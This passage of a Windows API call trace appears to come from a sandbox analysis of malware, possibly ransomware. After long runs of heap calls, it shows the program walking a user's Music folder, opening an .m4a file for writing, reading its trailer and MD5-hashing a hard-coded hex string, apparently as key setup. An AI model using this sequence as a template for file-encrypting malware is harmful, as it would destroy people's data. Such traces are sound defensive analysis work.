Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.720] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.720] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.721] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.721] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.722] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.722] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.723] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.723] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x860) returned 0x30f90a8 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.724] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.724] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xc46) returned 0x30f90a8 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30f90a8 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x840) returned 0x30e8ae0 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x830) returned 0x30e8ae0 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x820) returned 0x30e8ae0 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30e8ae0 | out: hHeap=0x5c0000) returned 1 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.725] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\") returned="3JFk\\" [0126.725] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x70) returned 0x3083f40 [0126.725] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\") returned="zTvNij62y31ygD\\" [0126.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x50) returned 0x303f7b8 [0126.726] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3083f40 | out: hHeap=0x5c0000) returned 1 [0126.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0126.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40) returned 0x3042148 [0126.726] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x303f7b8 | out: hHeap=0x5c0000) returned 1 [0126.726] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0126.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x3037fd0 [0126.726] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x20) returned 0x3076e68 [0126.726] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3042148 | out: hHeap=0x5c0000) returned 1 [0126.726] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0126.726] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3076e68 | out: hHeap=0x5c0000) returned 1 [0126.726] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0126.726] PathFindFileNameW (pszPath="") returned="" [0126.726] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.726] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\*", lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0d94880, ftCreationTime.dwHighDateTime=0x1d4d22d, ftLastAccessTime.dwLowDateTime=0xdce3ecd0, ftLastAccessTime.dwHighDateTime=0x1d4d021, ftLastWriteTime.dwLowDateTime=0xdce3ecd0, ftLastWriteTime.dwHighDateTime=0x1d4d021, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x306c8a0 [0126.741] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.741] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0d94880, ftCreationTime.dwHighDateTime=0x1d4d22d, ftLastAccessTime.dwLowDateTime=0xdce3ecd0, ftLastAccessTime.dwHighDateTime=0x1d4d021, ftLastWriteTime.dwLowDateTime=0xdce3ecd0, ftLastWriteTime.dwHighDateTime=0x1d4d021, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0126.741] FindNextFileW (in: hFindFile=0x306c8a0, lpFindFileData=0x398fba4 | out: lpFindFileData=0x398fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5259bdd0, ftCreationTime.dwHighDateTime=0x1d4cc50, ftLastAccessTime.dwLowDateTime=0xc5703300, ftLastAccessTime.dwHighDateTime=0x1d4d13a, ftLastWriteTime.dwLowDateTime=0xc5703300, ftLastWriteTime.dwHighDateTime=0x1d4d13a, nFileSizeHigh=0x0, nFileSizeLow=0x15003, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sHdKY9oX2.m4a", cAlternateFileName="SHDKY9~1.M4A")) returned 1 [0126.741] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x80) returned 0x6a0498 [0126.742] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xbe) returned 0x3020a70 [0126.742] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x6a0498 | out: hHeap=0x5c0000) returned 1 [0126.742] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\sHdKY9oX2.m4a") returned=".m4a" [0126.742] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\zTvNij62y31ygD\\3JFk\\sHdKY9oX2.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ztvnij62y31ygd\\3jfk\\shdky9ox2.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0126.743] GetFileSizeEx (in: hFile=0x624, lpFileSize=0x398fb4c | out: lpFileSize=0x398fb4c*=86019) returned 1 [0126.743] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1f30000 [0126.745] SetFilePointerEx (in: hFile=0x624, liDistanceToMove=0x14fdd, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0126.745] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x398fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb7c*=0x26, lpOverlapped=0x0) returned 1 [0126.746] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x30) returned 0x30380b0 [0126.746] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x30380b0 | out: hHeap=0x5c0000) returned 1 [0126.746] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0126.746] ReadFile (in: hFile=0x624, lpBuffer=0x1f30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x398fb78, lpOverlapped=0x0 | out: lpBuffer=0x1f30000*, lpNumberOfBytesRead=0x398fb78*=0x15003, lpOverlapped=0x0) returned 1 [0126.747] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.747] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x25) returned 0x3074a20 [0126.747] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.747] lstrlenA (lpString="CCDBF2A58C5E4DB427C400D3A3A068E9") returned 32 [0126.747] CryptAcquireContextW (in: phProv=0x398fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x398fa94*=0x6a0498) returned 1 [0126.748] CryptCreateHash (in: hProv=0x6a0498, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x398fa9c | out: phHash=0x398fa9c) returned 1 [0126.748] CryptHashData (hHash=0x306c8e0, pbData=0x3074a20, dwDataLen=0x25, dwFlags=0x0) returned 1 [0126.748] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x398fa98) returned 1 [0126.748] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x11) returned 0x3044390 [0126.748] CryptGetHashParam (in: hHash=0x306c8e0, dwParam=0x2, pbData=0x3044390, pdwDataLen=0x398fa98, dwFlags=0x0 | out: pbData=0x3044390, pdwDataLen=0x398fa98) returned 1 [0126.748] GetLastError () returned 0x0 [0126.748] CryptDestroyHash (hHash=0x306c8e0) returned 1 [0126.748] CryptReleaseContext (hProv=0x6a0498, dwFlags=0x0) returned 1 [0126.748] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3074a20 | out: hHeap=0x5c0000) returned 1 [0126.748] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x15000) returned 0x30fa0b0 [0126.749] SetFilePointer (in: hFile=0x624, lDistanceToMove=5, 